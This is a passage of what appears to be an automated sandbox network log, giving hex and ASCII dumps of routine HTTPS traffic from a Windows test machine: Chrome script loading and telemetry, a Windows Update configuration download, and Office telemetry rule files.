2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-29 03:52:20 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:20 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 03:52:20 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=119002 Date: Tue, 29 Oct 2024 03:52:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-29 03:52:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49755	216.58.206.78	443	7904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:20 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:52:20 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 31 37 33 39 33 38 32 35 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730173938250",null,null,null,
2024-10-29 03:52:20 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=bhqPf0wbmu0o7ns-ENySqzkV-hQtTm1UXUaQwfMyNvb0oaiypZMdPKgUXspm6pZOnf7P8CF0tOOiYIg-jc5psLKz9vHtXw6Ju0FRRA6qnuDjGwwBPMJpbEVupdwqoKG0CMIuG13XCe6xH6AFQhTW4yCxT9XAhOE64feguZr5B23TIGKzyg; expires=Wed, 30-Apr-2025 03:52:20 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 03:52:20 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 03:52:20 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 03:52:20 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 03:52:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49762	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GSnk19rV29POzmc&MD=Cg38VFH8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 03:52:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f316bd0e-a218-47bf-ab8e-c91a7af74fcf MS-RequestId: 1cba426d-c2ca-473f-83cb-d4e9e55dd768 MS-CV: cRpD+y0aSEyiuati.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 03:52:56 GMT Connection: close Content-Length: 30005
2024-10-29 03:52:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-29 03:52:57 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49763	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:58 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:52:58 UTC	561	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:58 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035258Z-16849878b78qf2gleqhwczd21s000000065000000000eav5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:52:58 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 03:52:58 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-29 03:52:58 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-29 03:52:58 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-29 03:52:59 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-29 03:52:59 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-29 03:52:59 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-29 03:52:59 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-29 03:52:59 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-29 03:52:59 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49764	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:00 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
